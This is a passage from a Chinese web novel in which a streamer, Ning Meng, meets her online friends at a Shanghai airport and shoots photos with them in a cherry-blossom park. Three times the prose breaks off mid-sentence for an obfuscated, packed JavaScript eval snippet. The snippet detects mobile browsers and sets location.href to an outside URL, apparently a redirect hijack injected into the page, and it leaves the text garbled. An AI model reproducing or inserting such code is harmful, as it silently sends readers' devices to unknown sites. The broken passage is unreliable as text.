宁檬捧着平板上画好的拟人化小作品，带上自己的家乡口音小声嘀咕，最后给自己乐出了鹅叫的笑声。 这些直播时留下的半截事情做完，剩下的便是正经内容了，攒了好几天的视频内存卡内容，正好趁着这最后周四和周五晚上时间，上手尝试下最近刚灵感乍现的镜头美学尝试。 自学剪辑后的小有成就，宁檬勾着嘴角欣赏自己新出炉的视频作品，虽然吧，比着之前的不够美，甚至说是略显无聊，毕竟作为牛马的工作日确实没有太多有趣的。 在努力做到治愈风的镜头转场里，宁檬小心思地把今天的绘画作品夹藏其中，只是很简短的一个镜头，在视频很后面的位置。 视频里配上一直是很正能量的治愈系文案话外音，反而和这张大尾巴狼很是适配。 “每天重复相同的生活，在里面找到不一样的乐趣，就像是画出一张很合心意的头像，不时检查一下从小学习来的绘画能力，既是对生活的记录，更是不可解的印象深刻……” 骨子里的愤青基因每天都在文思泉涌，偷空摸鱼的间隙就是用来反反复复斟酌用词的修饰，难得在这种枯燥发疯的生活里寻到乐趣和爱好。 现在的生活就是，和互联网大数据能挂上钩的内容，都会不知道不确定的被哪些人看到，并放大和解读。 周五下班的时间，宁檬还沉浸在塔罗牌的练习里，手机上微信消息却提醒不止，嘟嘟嘟地响个不停。 正常情况下，按照宁檬没有男朋友，没有每天都无话不聊的好闺蜜，没有家里人频繁的电话，她的手机完全就是摆设，和板砖其实差别不大。 宁檬刚摆好的牌面，这下子注意力被手机吸引走不少，索性直接连同桌布一起收起，顺应自己被打扰的心情，等心情更美丽的时候再占卜。 【上海小分队群聊】 【酸醋余】：所以是没人知道为什么柠檬连着两天没有直播的了？ 【小可可】：我以为你们会知道的，毕竟你们现在可都被称为续火花组合呢，每天都要pk连线。 【小可可】：哎呀，我可怜的小柠檬啊，每天都要被你们这些个人没厚道的单方面碾压，现在唱歌都肉眼可见的见长了。 【怪鸦】：可别带我，我现在没分的 【张帅帅】：你这话我怎么听出来一股酸溜溜的味儿呢~ 【酸醋余】：酸溜溜哟~ …… 打开手机看的时候群聊里的话题已经进行到热火朝天的程度，宁檬半皱着眉头，边收起塔罗牌边时不时滑动屏幕在群聊里爬楼看消息。 【柠檬】：几位大哥，有没有可能你们建的这个群我还在里面呢？ 这些人讨论的话题大多是与宁檬相关，毕竟群聊的名字可是叫上海小分队的，从名字上就看得出是为了明天的行程专门拉的群。 群聊内，宁檬刚一冒泡，四个人纷纷把明天要做好的排场都丢出来，什么鲜花啊，什么接机啊，还有什么乱七八糟的一堆， 这还真是难伺候的一群家伙，明明是他们非要来的，结果还要让她来买账接机，什么不讲理的逻辑吧。 宁檬翻着白眼，计算到机场的时间，以及明天要起床和出门，还有化妆的所有时间在内。 哦不对，还有买鲜花的时间也要算进去。 三个人，鲜花，还要雨露均沾呢，真是麻烦的男人们。 接机就算了，还要一碗水端平，压住他们这些人之间莫名其妙的胜负欲。 带着睡前的吐槽，宁檬就连梦里都是机场接机时的乌龙抓马事件，那些个坏家伙还故意使着坏主意抓弄她，装作认错人的样子。 起床气夹杂着梦里的窝囊气，宁檬坐在镜子面前化妆的时候都小声骂骂咧咧的暗自嘀咕不停。 刚转暖没几天的上海，不知道冷空气发什么疯，依旧会时不时回头再来吹个两三下，导致空气里依旧是夹杂着冻人的错觉。 “大衣，衬衫，再来条配小皮鞋的裤子，这就已经很符合去接他们的排面，没有穿卫衣出门都是给面子了。” 对着镜子看里面的自己衣服上的搭配，宁檬自己一个人在房间里自言自语。 半上午的地铁里人已经开始不少了，尤其是中间的那几个换乘的站点，更是来来往往上下的人更多。 长久的地铁时间，宁檬坐得直打瞌睡，单手搭在旁边的扶手上，脑袋更是搭在胳膊上犯困得不要太明显。 周末的时间，地铁里其实什么乘客都有，老人，小孩，打工人，或者是一些在上海的大学生，不像上下班的地铁上，大家都是沉默没什么话，并且每个人各自带着自己的耳机互相保持安静，但是休息日的地铁里多是结伴出行的三三两两人。 宁檬左右闲得没事，纠结之后掏出手机，在微信的聊天栏里往下扒拉，找到前两天的聊天框，重新追添上一句附加内容。 【柠檬】：姐，这样的花束，你帮我再准备两个吧，一共要三个，都是送给朋友的，你看着搭配就行。 直播的副业也算是逐渐开始小有起色，不能为了眼前的一时计较，让那三个人找到点阴阳怪气，以后肯定会拿这来说事的，甚至很可能不需要到以后，今天见面就指不定会被怎么埋汰的。 至于在群聊里他们说到的其他的接机准备，宁檬更是一个都没有准备，那些招摇的接机牌要真拿出来，万一机场真遇到了哪个老大的主播粉丝，这还不得分分钟就被认出来呢。 地铁昏睡的时间很快结束，因为机场附近的花店要到了，她要专门去拿花，好好“招待”这么哥几个。 手机里，最先要到达的人的消息还停留在两个小时前，估算下时间，过不了多久就要收到他的消息了，落地也就在这附近时间了。 宁檬实在是懒得去往上翻看聊天记录，反正到一个是一个就对了，具体他们不认得自己，到时候要怎么相认，那就全看和他们之间的眼力和缘分吧。 这种想法也就是酸醋余他们不知道，不然不知道要怎么编排宁檬的。 可能是休息日的原因，机场的人要比平时多一些，宁檬捧着一束，拎着两束花，站在大多数人中，身侧有几个很高的人时不时在晃身体寻找他们要接的人出来。 和身边人的对比之下，宁檬手中的三束花相对更加出众惹人注意，完全不怕这趟航班上的两人找不到她。 【怪鸦】：柠檬！！！ 【怪鸦】：我们就快要出去咯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414709|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！！！ 【怪鸦】：是不是很期待，两个帅哥就要跨越屏幕真实地出现在你面前了~ 【怪鸦】：我已经忍不住快点见到你，替大家好好目睹一下皮套背后的真人了！ 【小可可】：你们就是馋我的好姐妹长相是吧（都不想戳穿你们，小样！） 宁檬只能感受到手机的震动，两只手一只胳膊抱一束花，完全没多余的动作去看手机。 放好花束后，好不容易才摸出手机看消息，来都来了总不能接不到人真的像梦里那样闹笑话不是。 【柠檬】：[语音] “所以你们是乌龟转世吗，走得怎么这么磨磨叽叽的，还是说你们作品视频里的大长腿真的就只是两根筷子摆设呢？” 这毒舌的程度完全足够感受出当事人想要吐槽的迫切心情，酸醋余右手拖着小箱子，耳边听着手机外放的声音，咧着嘴角轻笑。 真的是越来越好奇了。 明明是不愿意真人直播的二次元主播，偏偏这种时候又真的没有狠心拒绝他们哥仨的起哄提议，而且平时直播说话那么毒舌风格，但是在视频作品里又是温柔到不行的程度。 在宁檬身上的反差感远不止这一点，让和她接触的人完全没有办法拒绝好奇她皮下的真实样子。 距离出站口越来越近，酸醋余的目光已经开始止不住的飘忽不定，自己会脑补宁檬会是哪一类的样貌，不过无论是哪一种，都肯定是很温柔细腻的性格。 “出口就快到了，你先慢慢走吧，我去门口浅看一下。” 怪鸦快步推着箱子往前跑，转头时不忘朝酸醋余挑一下眉，一脸故意的欠样。 该来的总会来，又不是晚一点就看不到了。 酸醋余握着手机看着怪鸦的方向，在群聊里给柠檬同样回了条语音。 “怪鸦才是最迫不及待的那个，你一会儿会看到一个傻子推着箱子出现在出口，嗯——那个就是他。” 【柠檬】：我能说我看不到吗？ 【柠檬】：他实在太社交土匪头子了。。。 宁檬看到怪鸦出现在出口，以及他四处张望的着急模样，这会儿社恐因子飞速上身，默默往身后悄摸摸挪动退后，连同身前捧着的花束也悄悄往下放，仿若无事地隐在接机的人群里。 前面的大哥还挺高，刚好能把胸前的花束给遮挡大半，恰好足够不让怪鸦注意到。 反倒是另一边也来接机的姐妹，手里也带着花束，不过是一大捧红色玫瑰，引起了怪鸦的注意。 怪鸦迟疑的动作一直没有上前，宁檬猜肯定是太过热火的红色玫瑰，以及那女孩压根没注意怪鸦的神情，让他在犹豫。 紧抿嘴角偷笑的瞬间抬头，恰好和紧随后面出来的酸醋余对视，没有任何多余的交流，甚至没有在手机上提前说好。 就是那么一瞬间，宁檬被一直目光锁定，同样勾唇回了个微笑，抬手打招呼挥手的动作几乎似乎没有过脑子已经做出反应。 有时候人与人之间的磁场就是这么霸道，没有任何理由，就是这样一眼认定。 两人对视的时间没有停留很久，都心照不宣地转而看向怪鸦的方向，看他犹犹豫豫的，言欲又止，最后把求助的目光投给酸醋余。 站停在一侧的空位置，怪鸦凑到酸醋余旁边，皱着眉头疑惑自语，“你觉得第一次见面送兄弟玫瑰这操作是不是有点刺激？” 什么神经脑回路？！ 酸醋余冷笑一下，差不多已经能脑补出怪鸦离谱的想法角度来源，用肩头轻撞他丢下毫不客气的点评。 5. 接机 “你骂柠檬没脑子，我要去告状，你等着挨骂吧。” 酸醋余的脸色不可谓得意，就差没有冲到怪鸦面前摆个鬼叫搞怪了。 宁檬站在不远处听不到具体在说什么，只能看到两个人你推我搡着开始有了动作。 在确定他们是朝自己走来前，宁檬抬手把毛衣上挂着的墨镜托起戴上，大框镜能把脸遮住大半，神秘感在线下也开始拉满。 怪鸦跟在酸醋余后面，动作自然得不能再自然，就这么顺手变成了推着两个箱子在手中，而另一个箱子的主人则是一身轻松走在前面领路一般。 “哎哎哎，不是她吗？” 这语气听起来还有点失望的小感觉，酸醋余扯了下嘴角没有搭话，冷冷笑了一下。 和没脑子的人没什么可说的…… 收回略显失望的视线，怪鸦重新开始新一轮的寻人。 “笨猪”，经过酸醋余身侧时，怪鸦听到他冷不丁说这么一句。 “笨猪说谁呢？” 冤种兄弟下意识地反驳，依旧没得到酸醋余其他的回应，除了极具嘲讽意味的白眼。 除去刚刚抱玫瑰的女孩子，剩下的看着年龄相差不大，而且还抱着花的就显得更加明显了，尤其是在她面前的高个男生走开后，更加惹眼。 怪鸦的表情瞬间变得呆愣呆愣的，眼神逐渐开始加上没什么用的微怒和委屈巴巴。 可惜的是，宁檬压根不吃这一套，墨镜在手，完全不担心眼神的对视，反正没人看的到她躲闪的眼神。 “你别告诉我那个是柠檬？？？” 回想到刚出来时，自己第一个先对视看过去的就是宁檬，结果呢，当事人默默移开了视线，并且故意做出四处张望真的好像在寻找人的模样。 就是因为她的这些小动作，怪鸦才有了后面非常认真的错认事件发生。 酸醋余双唇努力抿着，没有笑出声，单一个字的“嗯”里能够听出来隐约的憋笑。 “不是，我第一个就觉得她是的，然后……然后她那家伙把脸转走，搞半天故意整我呢？！” 离得越来越近，他们两人的对话逐渐开始不再是加密口语，开始通过她平时熟悉的声线传到耳中，紧接着就是看到刚刚还暗自疑惑的人迈着长腿正在三步并两步地大步而来。 眼角的余光范围里，能看到怪鸦越来越接近了，就在这样的注视下，宁檬笑着动作慢悠悠地从地上抱起另一束花，正好在人走到面前的瞬间，伸手将花直递到人胸口正面前。 “欢迎弟弟来到上海，送你花”，宁檬腾出另一只手托一下墨镜，走两步，把另一束送到酸醋余面前。 宁檬自认自己其实不是个子低的女生，但是在实打实的180甚至180多面前，依旧如小矮子似的。 “两位少爷，今天的接机可还满意？” 宁檬朝着他们的方向微微弯腰，真就做出旧时代的老管家姿态。 美女在面前如此俯低姿态，还带着接机的花束，还能再说什么呢，总不能上赶着做个赖人。 怪鸦也同样回了一个笑，和直播间里其实不太一样，至于哪里不一样，只能说是直播间里的镜头有点封印颜值的不适用作用。 怪鸦是这样，酸醋余更是这样。 “你真的是柠檬？” 老管家的话说过了，鲜花也收了，突然间的又冒出这么一句反问的话来，这下换成宁檬愣神了。 墨镜都压不住的眉头收拢，宁檬磕磕绊绊抬头，半仰地同怪鸦隔着镜片对上视线，“啊……啊？要不……你把花还给我，然后我说不是？” “噗嗤——” 两人的这种对话听得酸醋余直接没忍住，坐在自己小箱子上绷着嘴角笑出声来。 怪鸦：“送出去花泼出去的水，没有收回的道理！” 说完就转身自顾自地抱着花往地铁的方向走了，身后留下两个箱子和两个人大眼瞪小眼，双手一摊，认命地当起了苦力。 周末的地铁每一站都很多人，机场航站楼这种站点更是多得没边，除了站也就只剩下站了。 从刚刚追怪鸦开始，宁檬送给酸醋余的花就再次回到她的手中，帮着拿花一直到地铁上。 “还没问，你到底是怎么认出我的？那个傻子就没反应出来的。” 地铁里人多，宁檬手扶着箱子被挤得朝酸醋余身侧的空余空间靠近，问出她这么会儿时间一直在思考的问题。 酸醋余嘴角上扬，故意卖了个关子，转着眼珠子给旁边要下车的人让出道来，就是憋着劲不回答。 上上下下的乘客人流结束，怪鸦好不容易瞅到一个空位置，从酸醋余手中接过箱子就拉着过去坐下，留下宁檬和酸醋余两人又凑到一堆。 “也许我们就是这么命中注定呢，紫霞和至尊宝那种一眼万年晓得吧。” 离了互联网倒是把土味情话抛在了一边，但是满嘴跑胡话的毛病照样是张口就来。 宁檬抬着眼皮看他一眼，嫌弃不言而喻，左右问不出答案，也就懒得继续这个话题了。 地铁上手机信号时好时不好的，宁檬无聊刷会儿短视频还多半是她关注好友里的直播切片，粉丝二创发布来的。 有意思的，或者搞笑的录屏切片，她都会递到酸醋余脸前，让他亲自目睹自己的每一次网上社死高光名场面。 “你手机大数据就刷不到其他的吗，这一会儿时间你都刷到几个我的了，笑不够了，嗯？” 酸醋余手机卡运营商和宁檬的不是同一家运营公司，在这地铁里信号比她的更差，别说视频，就连微信消息都要转圈很久才能发送出去，就差没有那一行红色的醒目大字提醒无网络连接了。 好兄弟就是——绝不能比我过得好。 这句话用在现在这个情况，也完全适用。 在宁檬还没来得及反应的时候，停车的地铁带来的惯性身体倾斜时，酸醋余顺手就把手机顺走，直接按了电源息屏键，动作一连串地直接收进自己的上衣侧兜里，丝毫没有被这不是自己的手机影响到动作速度。 “啊……那是我的手机吧？” 宁檬紧抓着扶手，收回半空的手，在上手和理论之间犹豫做选择。 酸醋余点点头，没有否认，“我手机没信号刷不了视频，看你刷我难受，嘿嘿……” “你……无语”，宁檬咬牙切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414710|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齿就说出三个字，双手抱胸前，背靠扶手柱，只留给某人一个背影。 怪鸦不知道什么时候也凑了过来，悄悄探出一个头，“那什么，咱们貌似坐过站了吧？” 酸醋余：“你不早说” 宁檬：“没有啊，我回家还有好几站呢。” 怪鸦和酸醋余齐齐转头看向宁檬，在下一站开门的时候，直接没有任何商量的拽着宁檬匆匆下车。 宁檬：？？？ “先去公园”，酸醋余拍了下大衣的衣角，边走边给宁檬解释，“期待你的惩罚吧，我们两个可是准备齐全得很哦~” 欠嗖嗖的口气早已见怪不怪了，回想到等地铁时怪鸦一直重复的不可思议的字眼，灵感的闪光一闪而过。 宁檬试探着开口，“所以就只需要告诉我，我今天的墨镜是不是戴对了？” 怪鸦偷笑不语，酸醋余视线飘忽躲闪，每一个动作都在说着，你猜得没错。 那天下播后，宁檬专门去搜过关键词，找粉丝的录屏去看，他们的那些坏点子原形毕露，摊开了摆在她面前，听着听着就笑了。 人在无奈的时候果然是真的会笑的。 “我可没带其他东西来”，宁檬左右动一下，意思再明显不过，全身上下都在表达着一个意思——我穿出门的只有这一身行头，没别的。 怪鸦不知道什么时候已经站起来，故意压弯了腰凑近说话，“就你这身材和身高，这一身都足够馋死人了。” 宁檬正在摘墨镜的动作一顿，抿起嘴角轻笑，看来人都是爱美的，不论男女，她自己喜欢看帅哥，怪鸦也不例外。 “那当然，我每天健身可不是白瞎的”，宁檬挑挑眉，面带得意。 搭上折回公园的再一班地铁前，怪鸦压低点声音，说了句不中听的话，“其实我在飞机上还脑补过你可能会是什么样子的。” 一说完就抬手捂着自己嘴巴，话也停在最有悬念的一半。 酸醋余在旁边看热闹不嫌事大，接话补充，一点不留面子地戳破，“万一柠檬是个小个子怎么办，可能再加点肉肉胖胖的，或者还不太会打扮，毕竟皮套主播三次谁也说不准，你说我是不是要提前准备点词库，方便到时候用来夸夸柠檬，给她树立自信心，夹在两个帅哥之间实在太容易自卑了。” 还没有继续说完的后文内容，都终结在怪鸦猛然起身伸出的手中，照着酸醋余的嘴巴就是实打实的一个捂嘴，禁止言说。 宁檬瞥瞥他，没什么更多的表示，也没有像在直播时小毒舌一开一合就是怼得人无话可说。 得理不饶人这句话其实很符合宁檬在直播时的精神状态，因为她说，我在工作上当牛马遭的气没地儿撒，你们正好撞枪口上了。 这个理由真的是让人无力反驳，怪鸦和酸醋余都是有过上班经验的人，更明白这句话背后的心酸，这也是他们爱和宁檬一起玩的原因，他们的圈子里有了柠檬的加入更加的接地气。 酸醋余察觉出宁檬的不对劲，靠着地铁上的扶手用胳膊肘轻轻撞一下她，“这么安静有点不像你。” 没问完的话是，发生了什么，让你今天这么安静，连吐槽都没有了。 6. 摄像 “在骂人，也在反省”，一提到正在想的事情，宁檬就没什么好气说话，火都快压不住了。 酸醋余倒是会看人，立马反应过来这背后的原因，“你不会昨天工作里挨骂了吧？” 这提到工作牛马的事，怪鸦就来劲了，这可是他平时最期待的八卦吐槽，可能这就是见不得朋友开路虎。 扫兴的工作，背刺的同事，可恶的流感。。。 如同叠buff的牛马生活。 在被坚持不懈的追问之下，宁檬摆弄着帮忙拿的高像素相机，看在相机的面子上勉强说了原委。 “我就知道肯定是工作上的事”，怪鸦正对着宁檬，小步后退着走路。 而酸醋余则是嘴角勾着没有多余表情，但那分明是在说着“我果然没猜错”的意思。 这件事听得怪鸦跟着忿忿不平，在步行走最后一段去公园的路上，他的嘴巴就没有停过，就好像真正被说的那个人是他一般感同身受，对比之下竟是比宁檬还要来得生气，不知道的人还以为是他身上发生了什么让人生气的事。 这个话题已经搁置好几分钟后，怪鸦还是气不过，“真神经，她难道就不是从一个新人过来的吗，瞧不起谁啊，我看她也就是个老女人，说不定就是嫉妒你比她长得好看呢。” 说着话回头侧目，从头到尾的重新打量宁檬，头上动作小幅度地赞同点着。 不止是怪鸦有点头这个动作，就连闭口不言跟随在旁边的酸醋余也跟上附和，“后半句话我赞同。” 第一眼见到宁檬时的惊艳，不亚于抽盲盒中到自己最想要的款，她的好看是和网络上那些主播不一样的感觉，具体形容的话，就是不那么的明艳出众，但是又能够在人群中让人第一时间发现她。 在互联网上的关注主播好友圈里，不乏有妖艳性感的，可爱萝莉的，成熟气质的，而宁檬不属于这其中的任何一种，偏又仿佛是她们的中和。 宁檬今天穿的是一身大衣，姣好的身材比例没有任何遮掩的显现出来，过年前刚烫过的头发正赶上最自然蓬松的状态，干净清淡的妆容贴上，让她整个人都更明媚动人。 就像机场刚开始见到说话时，怪鸦就一个劲地围着宁檬不知道说了多少个好看来夸赞。 宁檬懒得搭理这两个颜值狗，继续垂头摆弄着手上的相机，平时她包里的相机也就是个便宜的小相机，能摸到这种高端上档次的相机，她这会儿心里眼里只装得下相机，哪里还有心思去想工作上碰到的烦心事。 “我记得那个公园里有很多早樱，一会儿到了让我给你们拍几张照片试试手感”，宁檬已经举着相机开拍，说话时的目光都不能从镜头里移走半分。 在好看的朋友和昂贵的相机机器之间，宁檬毫无疑问选择最有人民币价值的一样，她自己目前所不能拥有的更能出片的相机。 接下来的一路上，宁檬一只手端着相机，另一只手则是在用手机查这款相机拥有者的推荐参数，前面那两位为她开路作为领路人。 “嘿，老余——”宁檬提高音量，半张脸隐在相机镜头后面，只露出勾起的嘴角，看得出拍照人现在的心情极好。 “咔嚓” 没有来得及设置关掉的相机声音没有任何停留直接传到酸醋余耳中，微微蹙眉望着镜头笑了起来。 沐浴在阳光下，整个人都更加阳光起来，连同头发丝都被染上圣光，借着光影的加成，硬生生把旁边的其他人都比了下去。 “这里人多，你小心点看路，别被人撞到了”，酸醋余拖着箱子在原地停留，单手搭在上面，朝着前面怪鸦的位置侧着歪歪头示意。 话音刚落地，怪鸦的声音紧接着传来，“柠檬，小心，快让开！” 声音的速度是远超脑神经做出反应的速度，提醒和及时躲开完全就是两码事。 宁檬为了躲开没看路的小孩子的冲撞，在原地前后跳了段踢踏舞，看起来明明就是极度不协调的四肢，偏偏左右脚只是互相打架，却没有真正地绊倒自己。 这段表演把另外两人看得呆愣在原地好半会儿，最后不约而同一起爆笑，怪鸦笑得前倒后歪地趴在酸醋余后背上，完全复刻直播间猖狂无比不要形象的典型大笑。 在两人上扬的嘴角里，宁檬悄悄举起了相机，嘴里不大不小地故意念叨出声，“哎，怎么不亮了，是没电了吗？” 刚开始看到相机被举起来时，本来两个人准备去捂相机镜头了，形象维护的下意识动作被这句话止住了动作。 镜头里，阳光和樱花做背景，嬉闹的孩童做陪伴，笑声就是今天的主旋律，青春的BGM。 宁檬眼睛在看镜头中画面，心里早已经预想好视频剪辑的内容，下一期的视频主题——肆意青春，不远万里相见。 “在想什么，笑得这么开心？” 酸醋余将身上的人费好大劲才扒拉开，正在笑的神情在转到宁檬手中相机镜头那一刻戛然而止，不能说是面如死灰，但起码不那么好看。 宁檬摇晃下相机屏幕的画面，正好落在酸醋余的视野范围内，是刚刚他们正在打闹的画面，“在想你们的粉丝要是看到这些视频会不会对我大夸特夸啊！” 对于三次元没有太多行程和露面的这些主播，粉丝们想要获得见到他们的机会少之又少，偶尔看到他们的日常视频，也都只是在个别朋友的线下聚会的vlog里。 怪鸦单手拽了拽身上的外套，有点皱巴巴的了，“是吗，那你最好不要后悔哦，我可是有在机场的见面视频的。” 这下轮到另外两个人一起疑惑了，异口同声说话。 “你什么时候拍的，我怎么不知道？” 怪鸦眼珠子提溜转不停，死活就是不和他们两个对视，嘴角的嘚瑟弧度看着明显就要压不下去。 宁檬故意保持板着脸的表情有一段路，看得怪鸦没多会儿自己就主动挪过来，凑到宁檬身旁连说话的语气都变得友好软上不少，“姐，你别这样，我害怕，偷偷告诉你啊，我小时候心脏不好，受不了大的抗压，要不你心疼心疼我？” 平时直播时，宁檬都躲在皮套后面，即便是有面部捕捉这些，但那也远没有真人的表情生动，更加吓人，尤其是现在这突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414711|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的沉默不说话，怪鸦根本受不得这种突如其来的冷暴力。 明明自己也是占理的一方，偏偏在宁檬的冷暴力下，怪鸦不停不停再不停反省后，似乎好像真的觉得错在自己，心里挣扎之后磨磨叽叽凑过去。 “歪，一会儿要不要我提前给你联系120？” 酸醋余在宁檬另一边，手里还拎着相机包，看热闹不嫌事大地在这里添油加醋地补充说话。 宁檬面无表情的样子是真的严肃，别说是怪鸦，即使是旁边的酸醋余，他看得也是心里只跳跳，说不上来的压迫和紧张感充斥大脑。 故意晾了他们有两分钟时间，紧接着就是直接一下变脸，宁檬这前后的急剧变化，反而把另外两个人看得一愣一愣的。 “不用，那里樱花开了，你们准备怎么拍？” 话题被宁檬自然而然地转走，对他们两人怪异的表情压根不予理睬，反而更加让人心惊胆战。 这股莫名的压迫感可能也和现实线下见面有很大原因，平时的聊天和接触里都是通过互联网，一张假的2D皮套，没有人能看到皮套背后宁檬脸上真实的表情，相应的也就没有什么真实和压迫感可言。 本来也就是个玩笑话，宁檬故意活络几句无关紧要的话题，这个小插曲就被简单带了过去。 在樱花公园的拍摄整体是比较顺利的，如果非要挑出点毛病来，可能就是公园里蹭拍的相机佬有点多，些许耽误了一点点的进度。 “天哪！天哪！天哪！” 怪鸦嘴中念叨不止，一双眼睛完全黏在相机上面，弯出好看的弧度，如果不是相机不在自己手中，宁檬这会儿更想抓拍下来，和拍摄时的摆拍是完全不相同的镜头感觉。 “柠檬！我真的要爱死你了，要不你别工作了，我聘请你来当我的拍摄助理，给你double工资！” 宁檬微皱眉抬抬眼，嫌弃的意思都不需要用语言来表达，和另一边的酸醋余神情在同一时间达成了百分之九十的相似度。 一旁口中的赞叹还在持续输出，而被夸赞的当事人则是压根不予理睬。 酸醋余整理着身上的衣服，单手拿着三个人的手机叠在一摞，脸上表情哭笑不得，其中又掺杂着嫌弃。 “别爱我，没结果，姐独自美丽”，宁檬顺着怪鸦的话摆摆手，并不准备接他刚刚的夸张完美字眼。 酸醋余也是不留一点面子，张口就直接接上下一句，“我觉得你不如寄希望于以后pk赢了多拿奖励，也比让柠檬给你做助理实现得可能性要大得多。” 一句话成功得罪两个人，说的就是酸醋余。 宁檬默默白他一眼，从包里摸出手机，往路旁边的长椅上走去，心里活跃了一连串的内心吐槽。 好比说，死鱼嘴里果然吐不出象牙，连好看的鳞片都吐不出一星半点，她就是没什么大哥大姐怎么啦，要被人追到现实三次来嘲讽，气死人！ 精彩复杂的内心活动终结在语音电话提示声结束的刹那，在宁檬看来，另一个不怎么想要欢迎的熟悉声音，通过好不容易打通的语音电话咆哮而现。 7. 迟到 张毛毛肆意激动的声音完全不会被公园周围的嘈杂动静掩去，就这么传到小路另一边沉浸在互相玩弄拍立得的两个男生耳中。 “小柠檬！快接受共享定位，我已经到公园里面了，现在迫不及待想要和你们见面！” 满满的都是激动情绪，字眼里的措辞也在表现着这一点。 宁檬几乎是本能反应，在第一时间就把手机拿到远离耳朵的位置，这也正好方便了另外两位听到。 “请去掉小，谢谢”，宁檬从侧兜里摸出墨镜，默默给自己戴上，又是那副在机场时初见时的神秘模样，“顺便强调一下，我比你大，谢谢。” 明明每一句话后面都加了一个礼貌用词，但这种时候的语境搭上说话语气，凭白多了几分怪异的阴阳怪气。 手机另一端，张毛毛更像是一点没有在听明白这些，只是自顾自地说着话，“哎，我们离好近，等我五分钟，五分钟后我一定会出现在你们身边！” 面基，果然是和拆盲盒是同样刺激，激动的事情，尤其是还经历过怪鸦在群里毫不收敛夸赞之后。 从下飞机到现在，迟到的这两个小时时间里，张毛毛一想到就会觉得可恨，耽误他去看美女朋友，和蹭线下镜头的机会。 “哎，那看来的确是挺近，比我们进来的口方便，起码不用像我们绕了大半个公园才找到拍摄的最佳位置。” 周末的公园更多是上海家长带孩子出门露营的最优选，绿油油的草坪上伫立着一顶又一包的帐篷和野餐桌椅，在阴凉的树荫位置，更是有三三两两的小孩子玩乐打闹。 因为这些个因素，先行到来的他们三人便多走了不少路，就只是为了现阶段的时间里开放的几棵樱花树。 周末的时间，又是包容度极其高的上海，在公园里闲逛一圈，跟随人流找到摩天轮和附近的早樱树，迫不及待开放的樱花树下很有秩序地站着不同类型的coser群体，仔细看下来，很多都是宁檬能够叫上来名字的童年ip，是网上很多同龄人都会怀念并夸赞的拥有现在动画片不能媲美的价值观。 他们三人已经借着来得早的优势，早早结束了他们的拍摄，现在就在旁边的台阶上坐着，一人手持反光板，一人脖挂相机，还有一人旁边放着两个小箱子，三人每人手中端着一个三色冰激淋的盒子，慢悠悠吃着早春时最刺激的凉品，眼睛都没有停歇地在前面樱花树下徘徊，满足眼福。 起码在张毛毛来到之前，他们都还挺沉浸在这种事情里面，有时候看到来拍照的同好工具带的不齐全时，怪鸦还会大手一挥，点头同意借出去反光板。 等待张毛毛的这么会儿功夫里，已经有两三波人来找他们借反光板，实在无聊的等待，宁檬有时候看到符合自己审美的长相，还会顺水推舟做好人，拿着不属于自己的相机自作主张去帮忙拍照。 虽然不是特别专业的摄影技术，但是对于需求没有那么高，只是为了朋友圈出图的需求的话，宁檬的拍照技术轻松拿捏。 张毛毛来的时候，宁檬正在沉浸在帮助两三个小聚的姐妹局拍照，平时里可没有这么多模特让自己练手学习尝试，刚好两方都很乐意，索性直接拍个够，樱花树下一组，河边栏杆旁一组，就连酸醋余他们坐的台阶都被征用来当作拍照场景。 三个男人面对面对视，酸醋余和怪鸦皆是一副怨念表情，而张毛毛则是不明所以然，越过他们的身影四处张望，试图找到看起来是和他们一起来的女生的身影。 只可惜，公园里三五成群，看起来似乎并没有人是单独落单的，更没有人朝他们这边的方向看过来。 “不是，我不就是晚来这么一会儿时间，怎么柠檬难道就已经走了吗？” 说话的功夫，张毛毛依旧不放弃找寻，双眉紧皱，嘴上叭叭不停，“不是，你们也真是不够仗义，明知道我要来，怎么也不拦着点她，就这么让柠檬走了？？？？” 话密的程度完全没有给酸醋余和怪鸦插嘴的机会，酸醋余三番五次看向宁檬的位置，虽然不近，但也绝对不远，距离短到能够听清楚宁檬正在指导女生动作的声音。 但是吧，可能张毛毛真的就是天生大脑发育不完全，对于酸醋余的眼神示意，他真的就一个都没有接收到，甚至以为他是在看好看的美女。 怪鸦在一旁都有些看不进去，忍无可忍之下，抬起右手正对着张毛毛的后脑勺就是一脑壳，这下子嫌弃的语气可算是被他也用上了。 “你这两只眼睛是随意装上的吗，就不会看点有用的？” 被怪鸦两只手托着，动作强硬地抹开，方向是正对着宁檬的位置，入眼即是一行风格各异的女生结伴。 